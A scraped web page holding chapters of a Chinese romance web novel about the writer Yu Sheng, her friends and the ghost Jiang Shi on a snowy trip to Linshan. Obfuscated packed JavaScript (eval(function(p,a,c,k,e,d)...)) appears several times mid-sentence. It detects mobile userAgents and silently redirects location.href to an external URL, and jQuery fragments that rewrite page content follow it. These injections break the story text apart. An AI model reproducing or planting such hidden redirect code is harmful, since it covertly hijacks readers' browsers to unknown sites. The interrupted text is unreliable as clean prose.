;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373074|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看雪。」 舒云繁:「我哥他去哪里都行的,不用考虑他的意见。」 舒云繁:「声声,你先看看链接,看看喜不喜欢,也可以把你想去的地方发来,我们再挑挑,也不是非得去这里的。」 喻声点开链接,是一篇很全面的游玩攻略,她有看文章标题小声念的习惯,此刻也一如既往地把标题念了出来。 江时捕捉到关键词,抬眼看喻声:“临山?” 喻声正一目十行扫着攻略,头也没抬,顺口回答:“对,舒舒问要不要去这里玩。” 粗略地扫过一遍后,喻声退出链接,抬手打字:「可以,就去临山吧,我还没去过。」 喻声和舒云繁敲定地点后,就迅速定了机酒,防止临期大涨价。 一切都搞定后,舒云繁马上换个新话题。 舒云繁:「还有喔,声声。」 舒云繁:「我还有个问题!」 舒云繁:「我哥家是真没鬼吧?」 喻声:「真没有,放心。」 舒云繁迟疑了半天,才把她最想问的问出来:「那你家那个碗柜……」 喻声用沉默代替了回答。 舒云繁用一堆尖叫表情包结束了话题。 最后,喻声安慰完舒云繁,才回了一开始没点进去的聊天框的消息。 喻声:「喻声。」 喻声:「Koonyangi猫猫星星眼.jpg」 聊完后,喻声熄灭屏幕,刚想起身准备晚饭,就收获了一道灼灼目光,来自另一个沙发。 联想到此鬼的缠人程度,她忽然有点福至心灵。 “……你不会也想去吧?” 江时听到想听的,脸上一点一点染上笑意,眼睛眨巴两下。 “可以吗?” “你对旅游也有兴趣?” “我是对临山感兴趣,听起来挺熟悉。” 也不是不行。 反正他也不需要买票,随他去吧。 喻声没去深究他觉得熟悉的原因,点头应允。 吃过晚饭后,江时百无聊赖,接着看电影,依旧是从喻声的浏览记录找的。 经过了早上尴尬的那一遭,喻声觉得自己暂时不适合看太跌宕起伏的电影,于是她回了房间,工作了一会儿。 大概写手都是这样,一到夜深人静时就灵感爆棚,喻声的思路很顺,直接洋洋洒洒两万字,结果把稿子提交后时间已经逼近三点。 她赶紧上床,准备睡觉前最后再看一眼一晚上没碰过的手机,怕错过了什么重要消息。 聊天界面,静悄悄躺着三条消息。 江时:「别想太多,开心点。」 江时:「临山说不定比棉城更漂亮。」 前两条是一起发的,另一条是过了很久之后才发的。 江时:「Koonyangi猫猫星星眼.jpg」 喻声笑,视线久久停留在和江时的聊天记录上。 她工作到这么晚,何尝不是为了用忙碌来减少胡思乱想。 确实是很重要的消息。 直到现在好像才放松了点。 喻声没回复,关灯,在日出前进入睡眠。 这一觉喻声睡得很不安稳,恍惚间做了个绵长的梦。 在梦里,和春华女士视频时需要仰头才能看到的飞鸟不知何时和她平行,她想停下,不愿再和飞鸟赛跑,却控制不了身体,手脚绑着线像提线木偶般被扯着往下俯冲—— 直到心有余悸地停下时,身旁已经不见飞鸟,取而代之的是舒云繁兴奋的声音。 “声声!醒醒!我们到临山啦!” 12. 100岁 为了延长假期的时间,他们是在放假当晚坐了红眼航班飞到临山的。 喻声在飞机上睡了一觉,舒云霁因职业的特殊性经常值夜班,江时就更不用说了,一行人最后只剩舒云繁困得眼皮直打架,临山和东宜相比明显骤降的温度都没能阻挡她要和冰冷的地面亲密接触。 机场离酒店不远,打了车过去,在前台取了房卡,舒云霁一间,舒云繁和喻声一间,进了房间门,舒云繁立马说让她先洗漱,她想收拾完后赶紧上床睡觉。 喻声当然说好。 她好笑地看着舒云繁扔下行李直奔浴室,行李箱被她往前冲的劲带到,没站稳晃晃悠悠地要往下倒,喻声隔了两步想扶住,可惜距离太远,伸手没握到行李箱拉杆。 这时,旁边有人直直伸出腿,往上抵住箱体,行李箱免去倒地的哐当声。 是江时。 喻声吃惊,注意力从行李箱跑到江时身上:“你怎么在这里?” 江时轻挑眉,收回腿:“我不在这里要在哪里?” 喻声差点忘了这茬,扶额,有点头疼。 正巧这会刷着牙的舒云繁从浴室门缝里探出头来,声音含糊:“声声,你在跟我说话吗?” “我是想问。”喻声为难,“你哥哥,平时习惯跟别人一间房吗?” 舒云繁刷牙的幅度减轻,她眨眼,有点反应不过来:“……什么意思?” 喻声摇头,说着没事:“当我没问,你赶紧进去洗漱吧。” 舒云繁疑惑地出来,又疑惑地回去,权当自己太困了话都听不清楚。 江时把刚刚的对话尽收眼底,他往后退了几步,靠在门边的墙上,双手抱胸,眼皮轻抬,慢悠悠出声:“先说好,反正我不去他那里睡。” 好一副宁死不屈的模样。 死,动词,过去时,不用加双引号的那种。 喻声叹气,掠过江时,推开房门往外走:“我还怕你吓坏人家医生呢。” 江时侧头,视线落到门外的喻声背影上:“你要去哪里?” “再给你开间房啊,不然能怎么办?” ——怎么会有这么容易心软的人? 江时想。 他收回目光,勾了勾嘴角,笑意毫不掩饰,随即站直起身,拍拍衣服上根本不可能出现的灰,迅速跟了上去。 很不巧,国庆的酒店房间基本上都住满了,喻声住的那层只剩一间尾房;不过巧的是,是不是尾房对鬼来说也没多大区别,喻声索性就直接订了。 把不会使用酒店房卡的江时送进他的房间,教了他一些基础设备怎么用,喻声才蹑手蹑脚地回了自己的房间。 老古董学得挺快,就是要教的东西实在太多,拖了点时间,果不其然回去时舒云繁已经睡着,发出均匀的呼吸声。 她估计太累了,也没精力再发消息问喻声去了哪里,但房间的大灯还亮着,给喻声留的。 喻声把堆在门口的行李箱小心翼翼地打开,取了洗漱用品,也没收拾,怕吵醒舒云繁,关了大灯后就进了浴室。 喻声在飞机上睡过一觉后精神好了太多,反正暂时也睡不着,不如趁还没进入玩疯的状态先码会字。 电脑键盘敲击声在安静的环境下太响用不了,喻声想了想,最后背靠着洗手台,在手机上下了个码字软件就开始写。 刚顺完人物小传,把主角的行为动作修过一遍,思绪就被浴室飘窗外绽放的烟花勾走。 四季更迭,昼夜交替,转眼已到十月。 值得庆祝的十月。 生活好像真的在慢慢变好,腿上的伤口已经掉痂,只剩一点浅浅的痕迹,她有了新朋友,有了亲近的人,工作也在一步一步平稳地往前推进中,不稳定的因素也很久没有出现。 「拜托这样的日子再久一点,别像烟花一样短暂。」 故事快到收尾的阶段,喻声把这句话敲进了文档里。 文档的保存键在右上角,喻声点击,却不小心点进了弹出来的消息框里。 江时:「烟花好漂亮。」 喻声:「又有什么东西不会用了吗?」 江时:「……喂。」 江时:「怎么说出这么难听的话的。」 江时:「我可是很厉害的好不好。」 喻声笑,退回码字软件,把文档先保存好,再一键转发给他。 喻声:「我最忠实的读者。」 喻声:「看看落地临山新出炉的这一篇怎么样。」 那边暂时没有回音,估计在看,喻声放下手机,开始洗漱。 外面的烟花放了很久,久到喻声洗漱完,上床玩了会手机才停歇。 刚停歇,消息框就轰炸式地弹出来,颇有续上热闹烟花的意味。 是某只鬼的消息。 他笨拙地,缓慢地,发了图片过来,是拍的烟花,一开始是一张,接着聚成一堆滚动播放。 前面的那些拍得不好,不是直接拍到了漆黑一片的天空,就是拍得只剩些模糊的光点。 渐渐地,他掌握拍照要领,绚烂铺满整张图,在十月的第一天,把心里那杆关于亲密关系的秤压得更低。 江时:「我最喜欢的作者。」 江时:「快看。」 江时:「帮你找到永恒的烟花了。」 江时:「Koonyangi猫猫星星眼.jpg」 - 到底没能睡多久。 游玩攻略和天气预报没骗人,天刚蒙蒙亮,窗外就下起了大雪,雪簌簌地落,很绵、很轻。 窗户是相框,雪花是胶片拉到100%的噪点,定格了喻声对于临山的初印象。 喻声睡眠很浅,还有点认床,旁边刚有点响动她就被惊醒。 舒云繁蹲在窗户边,双手撑在玻璃上,她听到声音后扭头,对上喻声刚睁开的眼睛,语气和脸上全带着歉意:“是不是我吵醒你了?” 喻声撑着床坐起来,摇头:“没有,我本来就该醒了。” 她笑着问:“外面是下雪了吗?” “是啊!”舒云繁的歉意被兴奋替代,她站起身快跑两步,把还裹在被子里的喻声拉到窗边,眼睛都笑得弯起来,“声声!快看!是雪诶!我第一次看到雪!” 舒云繁高兴地差点跳起来,她双手一拍,主意冒出来:“我们去下面走走吧!” 喻声又笑,看着她:“你洗漱了吗?” “对哦,谁让这个雪太吸引我了。” 舒云繁摸了摸鼻子,鼻尖在暖气下烘得通红,“那我先洗漱,你换点厚衣服,收拾完我们就下去。” “知道了,你快去吧。” 等舒云繁去洗漱后,喻声驻足窗边看了好一会儿后才绕过床,去床头柜拿了手机,想多拍点雪景。 东宜不下雪,棉城倒是下,但棉城和临山的雪不同,临山的雪明显厚很多,把天地间一切非白的事物都揉碎、吞噬。 比临山的雪更厚的是江时发来的信息,他大概清楚喻声有睡觉把手机关机的习惯,所以发起信息来肆无忌惮。 喻声的印象还停留在自己发了的那句—— 喻声:「我收下了。」 没想到后面还有一堆,延续着昨晚没看够的、永恒的烟花。 江时:「收下了?」 江时:「也不说句喜不喜欢。」 江时:「拍照技术还是不错的吧。」 江时:「手机真好用。」 江时:「这还是我自己发现的功能。」 江时:「所以别再小看我了。」 江时:「我还是挺厉害的。」 江时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373075|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :「……怎么不回我。」 江时:「这么快睡着了?」 江时:「电视真难看。」 江时:「没有你搜集的电影好看。」 江时:「今晚谢谢了。」 江时:「房间很舒服。」 江时:「很亮堂。」 江时:「没有其他鬼。」 江时:「好无聊。」 江时:「真不理我。」 江时:「醒了给我发信息。」 江时:「也不知道什么时候能等到你开机。」 他像患了分离话唠症。 喻声突然觉得,虽然当时以为他搬香案很迅速时曾对能净化掉睡眠的这种特异功能很心动,但现在看来,弊端也不是没有。 至少人还能保证在睡眠中不胡思乱想,鬼不能。 喻声举起手机对着窗外拍了好几张雪景,最后挑挑选选,找了张最漂亮的发给了江时。 喻声:「醒了。」 喻声:「我和舒舒想下楼走走,你要的话就跟上来吧。」 江时秒回:「好。」 喻声想了想,一条一条回复了他。 喻声:「喜欢,烟花很漂亮。」 喻声:「没小看你。」 喻声:「电影在电视上也能看,我今晚帮你找。」 喻声:「你不是说过了吗,不用总说谢谢。」 过了很久,喻声和舒云繁都收拾完,临出门前,喻声才收到江时的信息。 江时:「Koonyangi猫猫星星眼.jpg」 - 舒云繁喊了舒云霁下来走走,但不愧是生活得一丝不苟的医生,给的回复是已经在酒店楼下的健身房锻炼了,等一会儿回酒店房间洗个热水澡再跟她们汇合。 临山地如其名,山尤其多,他们定的酒店隔条路就是,远远望去巍峨的白茫茫一片。 喻声和舒云繁在前面走,江时不远不近地跟着后面。 雪踩上去是咯吱咯吱的,舒云繁觉得新奇,走得很缓,从围巾里露出耳朵细细听。 明明被冻着,她还是保持着伸手接雪的动作走了好长的一段路,和僵尸的唯一区别就是手心的朝向,这种联想直接把喻声逗笑。 “好啊你。”舒云繁听到笑声,佯装生气,“嘲笑我是吧!” 她迅速蹲下,捧起雪团了个小雪球,趁喻声不注意往她身上砸,雪软绵绵的,没什么威力,只在衣服上留下了一点洇开的痕迹。 喻声玩心也起来了,她弯腰捡雪随意捏紧就扔了过去,舒云繁立马不甘示弱地跟上,两人的雪球在中间相撞,又在空中散开,像没有焰色反应的烟花。 就这么一路闹到山脚下,雪最厚的地方,两人才休战,蹲下来堆雪人。 舒云繁捏得圆不成圆,软趴趴一坨,她邀请喻声品鉴,得到了喻声“比起圆更像豆乳”的评价。 不过喻声堆的也没好到哪里去,最终只能靠从酒店早餐处顺来的半截胡萝卜和两颗黑葡萄让它至少更像样些。 她们在堆雪人的时候,江时就坐在雪地里,手指划拉着写字。 不太清晰,但依稀能看见。 茫茫雪地里,江时写的是「如愿」二字。 这时还尚早,到处静悄悄的,所以拍立得的快门声被衬得很响。 喻声抬头,是舒云霁。 他把照片捂在手心,等成像了摊开看,走过来时语气有点遗憾:“本来想记录一下你们一起堆雪人的,但好像第一张拍糊了。” 喻声笑着打了声招呼,接过相片看。 雪地上,她在最中间,被雪人挡住,只露了个头;舒云繁在右边,侧对着镜头;而左边,确实模糊了一片。 没有人在意这张废片。 大家都以为照片模糊因为雪。 13. 100岁 那张模糊的拍立得最终被舒云霁收回了口袋里,他重新拍了两张清晰的,一张给了喻声,一张给了舒云繁。 虽然雪人的量词是两滩而不是两个,但也勉勉强强算成型了,因此几人在拍完照后也没多停留,直接离开了堆雪人的地方,沿着山脚漫无目的地往前走。 他们在来之前看了游玩攻略,但这趟旅程的目的很纯粹,完全是为了从忙碌的生活中挣脱出来,所以逛到哪算哪,没有人提要去人挤人的景点这件事情。 喻声边走边有点放空,直到有一声询问打破寂静。 “冷吗?”舒云霁问。 喻声还以为他在问舒云繁,一开始没吭声,可半天却等不到舒云繁的回话,她抬眼,撞入舒云霁的视线中,才反应过来他在等的回答是自己的。 “有点。” 喻声笑,把围巾拢紧,手塞回衣服口袋里,“走走应该就好了,我穿的已经够多了。” 不知为何,她和舒云霁对话时总透着拘谨,明明和舒云繁第二次见面就已经开始熟络起来了。 舒云霁嗯了一声,放在外套拉链处的手迟疑了一会儿,最终重新垂下,没再说什么。 沉默没持续多久,被舒云繁的一声惊呼打破:“快看!好多马!” 喻声顺着舒云繁手指的方向望去。 如果说100%噪点的雪景是喻声对于临山的初印象,那么此刻眼前仿佛进入了异次元的这一幕,才能称之为真正意义上地认识了临山。 雾气缭绕下,是一整片不分边界、发灰的蓝,梦中的飞鸟原来也来到了这里,正沿着连簇的树边缘敲击着风,世间的连锁反应不讲道理,于是风响、雪飘、小屋晃荡、草自由、马踏雪前行,牧民唱着悠扬的歌,烦恼去往别处流浪。 活着。 活着原来是这种感觉。 ——在拥有的时候能真切感受到,原来才是活着的意义。 喻声想。 控制不住要往景里闯也是连锁反应中的一环,舒云繁在领着马群的小姑娘的友好眼神示意下轻轻摸了摸马背。 “可以上去试试,我们这里的马儿都很温顺的。” 小姑娘把双马尾顺到胸前来,操着一口不太流利的普通话,笑着对舒云繁说。 舒云繁原本还有些犹豫,被舒云霁一句“不敢就算了”激将到,立马就说她现在试试。 握住缰绳时还好,脚放入马镫时舒云繁就开始害怕了,逞强站上去时还踉跄了一下,好在舒云霁在下面护着她,最终有惊无险地趴上马背。 舒云繁和舒云霁在进行上马初尝试时,喻声就站在一边,学着刚刚小姑娘教舒云繁的那样,慢慢抚摸着另一匹马的颈部。 小马很乖顺,头低垂着,半闭双眼,耳朵放松着微微朝前。 趁着前面的人都不注意,喻声问旁边一直没参与进来的江时:“你要试试吗?可以摸摸它。” “我不。” “不敢还是不喜欢?” “……都不是。” 江时还在找着借口,手却被喻声一把牵住,他下意识地挣脱开后缩回手,反应过来后抿唇开口:“冷。” 喻声刚被他猛烈的动作吓了一跳,手依旧僵在半空中,听到他解释却没明白:“……什么意思?” “我是鬼啊,体温太低了。”江时慢慢伸手,让喻声的手搭到他的衣服上,感受到喻声渐渐攥紧他的袖子后才低头,额前头发垂落,遮住眼睛,语气有点别扭,“你刚刚不是还觉得冷吗?” “碰到我的话,会更冷吧。” 他低头前,喻声能从他眼睛里看到的,只剩不知所措。 他不够圆滑,动作生硬,说出来的解释很笨拙,也很拧巴。 明明有这么多不好的地方。 可是风响、雪飘、小屋晃荡、草自由、马踏雪前行、心跟着无规律地打着鼓点,愈来愈快,近乎本能,不讲道理。 喻声放开了江时的袖子,手往下滑,握住他的手腕,像淋雨那天晚上一样,却比那天晚上更能感受到他的紧绷。 喻声往旁边走了几步,鞋子踩在雪地里咯吱咯吱响,她给江时让出了位置,攥着他的手放到了小马的颈部。 江时迟疑,但也没拒绝,他的手轻轻贴着小马,直到柔软落入手心时才敢有进一步的动作。 “你看。”看着江时僵硬地抚摸着,喻声弯了弯眼,“它很舒服,很温暖,一点都不冷。” 江时眨眼,不敢置信。 他也有给予温暖的能力吗? ——她又在哄骗他了吧。 江时想。 “声声!” 喻声把放在江时手上的目光移到舒云繁身上。 舒云繁玩够了,从马上下来,和小女孩沟通过后换了舒云霁上去,她自己则跑到喻声这里来。 江时赶紧往后躲,避免被舒云繁直接穿过。 察觉到他的动作,并猜到他的意图,喻声偷笑。 舒云繁站定,喘气,眼睛亮晶晶看向喻声:“怎么不上去试试?和我想象中的感觉好不一样,还挺好玩的。” 喻声帮她把肩膀的雪拍落,笑着说:“我就不试了,从酒店走到这里已经有点累了,先休息一下。” “反正我们来这里就是放松的,骑不骑都行。”舒云繁兴致勃勃,“但有一个你一定得试试。” “刚刚那个小姑娘跟我说,晚上这里有篝火晚会,游客也可以来,有热酒和热奶茶喝,大家跳跳舞唱唱歌,临山晚上很冷,刚好可以暖和一下,我们今晚也来看看吧?” “人不多吧?” “应该不多,你看我们刚刚走这一路,都没见到几个人。” “那可以,我们晚上过来看看。” 人不多绝对是谣言—— 喻声捧着杯热奶茶埋头蹲在角落里,像蘑菇,还必须是无花纹的、暗色的那种。 她努力降低自己的存在感,可惜功力不够,没法把自己和雪地的颜色变成一样的,最终还是被连根拔起,变成烧烤架上的一朵,被迫加入绕火堆跳舞的行列中。 社恐在这里是要被禁止的。 每个原住民,包括游客,都很热情,大家来自五湖四海,有着不同的口音,有着截然不同的人生经历,好不容易有了交集,一逮住人就开始推杯换盏、热火朝天地交谈。 舒云繁和舒云霁不知道移动到哪堆人里去了,喻声都快被篝火烤熟了也找不到他们,自己想躲都躲不掉,被个胡子拉碴的大叔抓住,听他背着老掉牙的诗。 大叔喝得醉醺醺的,说他是来旅居的,就住在早上看到的那些民宿小屋里:“我来这儿都一两年了,小姑娘,你是第一个喜欢听我念诗的。” “我那些诗啊——”大叔皱眉回想,“确实太没新意了,是吧?可是我爱人就爱听这些,她去世后,我脑子里什么都没有,只剩这些了。” 喻声怔住。 她手中装奶茶的纸杯几乎变形,大叔话语中那种溢出来的悲伤把她完全掩盖,一开始把他念的诗定义为“老掉牙”时的愧疚感也随之席卷而来。 她轻声开口,问:“所以您才来临山的吗?” 临山总让人有种真切在活着的感觉,不管是这里的景,还是这里的人,都很轻盈、生动、鲜活,来这里疗伤是个不错的选择。 但理由却远比她想象中地更加悲伤。 “我爱人总想来,提了好多次,说她待在小县城一辈子了,还没看过大草原。我还一直劝她,我说好好治病,有机会的。” 大叔把手中的热酒一饮而尽,长叹了一口气,整个人颓在椅子上,像要比早上堆的雪人更快融化。 他好像在哭,肩膀拼命颤抖着,却没有眼泪,“但我赌错了,临山的草原这么美,她却再也没法陪我看了。” “小姑娘。” 喻声的手合在嘴边,呵出口白气,她慢慢地远离篝火,在真的变成烧烤被吃掉前退出人群,往外一步一缓地走着,耳边回荡的还是大叔彻底睡过去前,跟她说的最后一句话。 “千万别留遗憾,趁没失去之前,有什么想做的就去做。” 很奇怪。 这种情况下,脑海中第一个浮现的人居然是—— 江时怎么坐在这里? 喻声停住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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流得越多,独属于那块地方、那些事的意义就越重。 他发这条信息时,只是希望喻声能暂时因为一个也同样很漂亮的地方而止住往上累加砝码。 喻声被问住,沉默了一会儿。 她单手扶着膝盖,另一只手无意识地在雪地里勾勾画画,直到有一滴泪砸到她画的字样上,她才回神,反应过来自己写的是江时曾写过的,「如愿」二字。 她佯装平静,用掌心把字擦掉时,泪就落到了手背上,手背承受不住,顺着融入雪中,把「如愿」二字彻底淹没。 江时看到了眼泪。 不平静的眼泪。 他的喉咙瞬间被攥紧,不大的力道,像喻声握住他手腕那样轻,却让他在此刻说不出任何一句话来。 “我没法比较。”喻声打破寂静,缓缓说道,“我已经很久没在这个时候回过棉城了,都不太记得现在的棉城是怎么样的了。” 她突然有了倾诉的欲望,或许是得益于当下太好开口的环境,或许是因为对方是鬼。 或许因为他是江时,仅此而已。 “我以前最怕过中秋节,我爸就是在这一天过世的。不仅我这样,春华女士——就是我奶奶,她也如此。每年过中秋,她都会独自一人去看我爸,在墓地里,一坐就是一整天。”喻声说,“她怕我哭,也怕我看到她哭,她不让我回棉城,谎称自己要去旅游,都是不希望我沉浸在悲伤里,希望失去至亲的痛苦让她一个人承受。” “我懂,所以我听话,但偏偏我没法当作什么都没发生,也没法说出口。” 听话的定义是什么? 她原来一直都理解错了。 不是想说的太多,能说的太少,而是总有一个人会因为爱而妥协。 喻声说话时,江时的视线一直落在她的脸上,没有偏移哪怕半分;而在喻声说完之后,他伸出手,摸了摸她的头,学着喻声牵他的手腕时说过的话—— “舒服、温暖、不冷,你会不会也能感受到?” 一瞬间,有什么东西脱离了原先设定好的轨道。 不知道是什么东西。 也不知道是谁的。 14. 100岁 舒服、温暖、不冷。 偏偏是她此刻最需要的东西。 喻声感受着来自头顶的、久违的温度,问江时。 “你是有什么读心术吗?” 一句话把有些青涩、旖旎的氛围打破。 江时笑,改摸变揉,五指插入喻声的发丝中去,把头发彻底弄乱,在她终于止住眼泪投来恼怒的眼神时又把她的头发抚平梳顺,紧接着慢悠悠回答。 “读心术?明明是你教会我的。” 他指着天上的星星:“我还在母亲身边的时候,她很喜欢带我去看星星。是她告诉我,每个人都会有一颗属于自己的星星,这颗星星是存在还是消失,都会持续地对你的生活造成影响,不管这种影响是好的、还是坏的。” “当时的我很懵懂,直到离开她后,我学着当初那样,在夜晚反复地看天空,我才明白她当时说的,她自己的那颗星星,是我父亲。” “但我现在倒是觉得,心的容量比天大,人并非只能拥有一颗星星。”江时说,“所以不用当作什么都没发生,也不用害怕说出口,你们的星星除了你父亲,不是还有你们彼此吗?” 江时的声音比临山的雪还轻,轻飘飘落在了跷跷板上,却能把另一边的,过去好几年、有点沉重的日子高高扬起。 年少的梦境里藏着英雄主义,总觉得不说出来独自承受才是正确的拯救生活的选择,可喻声现在才蓦然发觉不是这样的。 两份悲伤两人独自承担,不如一份悲伤两人一起承担。 毕竟心的容量比天大,除了父亲,她们还有彼此。 看到喻声终于弯起嘴角,江时伸手,把她外套的拉链拉到最顶上,遮住她空落落的脖子,确认着喻声的心情:“开心一点了吗?” “嗯。”喻声盘起腿坐,“我是觉得,你也挺适合去写文的,说起话来挺有说服人继续往下听的能力。” 江时一脸苦恼:“但我上学时文章写得很不好,国文课下课时经常被先生提着后领送到我父亲面前,没少因为这个受罚挨骂。” 一开始认识的江时总爱恶作剧,一不顺他的意鬼点子就开始冒出来;后来认识的江时嘴硬心软,和他住到一起后喻声连个鬼影都没见到,有时半夜被惊醒,却好像是幻觉,最后再迷迷糊糊地睡过去。 不管是什么时候认识的他,都处于主导、压制的地位,很难想象他还有被扼住后颈的一面。 活着时候的江时原来是这样的。 很新奇。 很生动。 除此之外,居然也会感到难受。 窥见他不同的一面,更为他如今变成这样感到难受。 喻声把手伸进衣服的兜里,里面空空如也,早上带的那包纸巾已经送给刚刚那个没流眼泪的大叔了。 “你那个时候年纪还很小吧?”喻声问,“年龄太小文章写不好也正常。” “差不多十岁?”江时笑,“但我至死的时候,二十岁,文章依旧写得不好。所以喻声,这看天赋,不看年龄。” ——“很佩服文笔好的人。” ——“这看天赋,不看年龄。” ——“我最喜欢的作者。” 说着没有写作天赋,其他方面的天赋倒是很突出。 他说过的这些话,大概会比烟花更永恒。 喻声想。 他们坐在几棵被雪覆盖得很密的树下,喻声抬眼,比白色更先看到藏匿其中的、葱郁的绿。 冬天还没来,但春天好像真的不远,和他们此刻的距离一样近。 见她久久不回答,江时又问:“在想什么?” 喻声当然不会把在想什么真的跟他说,她转了个话题:“在想,按活着的年龄算,你还得叫我一声姐姐呢。” “喂——” 江时瞪大了双眼,不敢置信,憋了半天憋出一句“没大没小”,偏偏他又不服气,被喻声用她现在正活着就得按活着的年龄算反驳之后,居然还想出用生日在一年的位置来定大小这种无厘头的方法,结果因6月25日确实比10月30日更早而败北。 “弟弟。”喻声眉眼弯弯,“原来你快生日了啊。” “妹妹。”江时冷哼,“今年居然就错过你的生日了啊。” “江时。” “嗯?” “我发现真不能和你离得太近。” “……什么意思?” 喻声很认真:“幼稚真的会传染。” 江时:“……” 他就多余搭话,明明知道她不会说什么漂亮话。 但是,不会说漂亮话的人长得真的好漂亮。 在秋天望春天时也会觉得,她和春天一样漂亮。 ——而他此刻,居然和春天的距离这么近。 江时想。 而他此刻。 不介意更近一点。 江时手撑着地,手掌盖住了喻声流过泪的那块雪,他往前俯身,视线与喻声平行,眼里含着笑意,打趣的语气,温润地,喊了一句喻声。 “太迟了,你没法把我赶走了。” 他说。 “嗯。” 雪没有收敛,絮絮地砸下来,把江时的肩砸得更低。 “所以再幼稚我也只能受着了。” 江时定定地看了眼喻声,慢慢地直起腰,目光又心虚地飘往远处。 她的话像乌鸦喝水时所需的最后一颗石子,再多听一句水会满溢。 原来他介意。 很介意。 离得太近的话会出大事情。 可惜此刻下的是雪,又是深夜,没有夕阳来帮忙解释一下脸上浮现的红是怎么回事。 “喻声。” “嗯?” 江时张了张嘴,话还没说出来,就被手机铃声截下了话口。 喻声往屏幕上望了眼,接通。 是舒云繁。 她那边很吵,估计人群还未散。 “声声,你在哪儿呢?我手机刚刚静音了,现在才看到你给我打了好几个电话。” “人太多了,我出来走走。”喻声问,“篝火晚会还没结束吗?” “快结束了,你要不现在回来?”舒云繁说,“我今晚还没跟你合照呢,要不我们趁着这里还没收场拍两张吧,今晚我要发朋友圈,还没凑够九张图。” 喻声应了声好:“那你在那等我一会儿吧,我现在就回去。” 挂断电话后,喻声撑着围巾站起来。< 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“我哥啊。”舒云繁边挽住喻声的手往人群外走,边说,“有个大叔不让他走,要他留下来一起品鉴诗歌,我哥拗不过大叔,就让我们先走了。” 喻声眨眼,仅用一秒就猜出这个爱念诗的大叔是哪位。 酒醒了,还能拉着人念诗就好。 本来喻声也打算走之前再去看一眼大叔的,怕他在那儿睡到第二天,这下有舒云霁在也不需要了,她可以安心回酒店了。 “那我们自己拍?” “对。”舒云繁从包里掏出拍立得,晃了晃,“我拍立得都跟我哥拿好了。” 用手机拍不难,原相机前置下只需要在不同角度猛烈按下快门,一百张里总能挑出一张好看的。 拍拍立得时困难在需要找人协助,早上牵着马的小女孩刚好在旁边,就请了她帮忙拍一下,小姑娘没用过,举起拍立得时手开始抖,相纸被缓慢推出后她明显很沮丧,双马尾和嘴角竞争着谁更能往下耷拉。 “姐姐,我不会用,好像拍歪了,要不还是找别人帮你们拍吧。” 喻声接过来,和舒云繁凑在一起看。 相纸里也是这样,她和舒云繁挤在了右边。 “不歪,很好看,姐姐很喜欢。”喻声笑着安慰小姑娘,走到她身边,指着相纸的左边细细向她解释着,“你看,你把后面的火堆也一起拍进来了,等以后翻起这张照片,才能想起在哪里拍的;雪树也很漂亮,姐姐住的城市看不到雪,以后会很怀念的;还有——” 喻声的手指停顿在一片空旷上,她抬头,若有所感地往那块地方望了一眼,正正好对上江时的视线。 心头的涟漪又开始泛起。 和正常往外括的涟漪不同的是,它往内缩,缩到中心处,木头从其中跳出来,围巾被江时一圈一圈取了下来,舒云繁刚打来电话,时间一卡一卡重播过去的场景,倒带回江时按下喻声想接听电话的手,第二遍喊她名字的那个时候。 “喻声。” 尾音很缱绻。 “怎么了吗?” “我还有用,所以别不要我。” 雪一直往下落,持续很久,从临山下到东宜,没再停过。 15. 100岁 最后喻声只收了那张“拍得不好”的拍立得,把其他悉数推给了舒云繁。 “你真喜欢那张拍立得啊?” 慢悠悠地走回酒店房间的路上,舒云繁搓了搓因拍照时露出来而快冻僵的手,惊奇地问。 喻声的手往口袋里缩,触及到拍立得冰冷的表面,她悄悄抬起手指划过拍立得的边,笑道:“嗯,有这张就够了。” 到了房间所在的那一层,电梯门打开,喻声和江时先后迈了出来,舒云繁则没动,还停留在电梯里。 喻声转身,向她投去疑惑的目光:“怎么不出来?” 舒云繁笑着挥了挥手,按了电梯门关闭键。 “声声,你先回房间等我一会儿吧,我去买点东西,马上回去。” “不用我陪你吗?” “不用啦,我自己去就行。” 电梯门很快关上,喻声停顿了一下,抬眼看了旁边神色如常的江时,说道:“那我们先回去吧,” 江时没说什么,只点头,他先动身,单手往兜里插,走在喻声前面,不疾不徐。 电梯出来往右拐,顺着走三间,就是喻声和舒云繁的房间,江时的房间还要再往里走,路过第四间时,他陡然慢下步伐,直至停下转身。 喻声没注意,手指在手机上跳跃,低着头往前走,差点往他身上撞。 不是差点,是已经撞上。 但他没什么重量,就像碰上了一团棉花、一道光束,内心的异样远比外表的感觉更甚。 江时嘴角漾起小括弧,却不明显,他的手从兜里伸出来,往后抵了一下喻声的肩膀,很快松开,笑声闷闷,好奇问她:“想去我房间坐坐吗?” 听得出不是揶揄,却有股奇怪的氛围在流转。 “不是说好今晚帮你找找你想看的电影吗?” 喻声收起手机,抬起眼睫,目光往上移,和他的眼睛对上,回答。 话音刚落,喻声才发现她刚刚看到的小括弧不是错觉。 此刻它正深深地印在了江时的嘴角,随着他说话动作小幅度移动着,被走廊的顶灯照得愈发清晰。 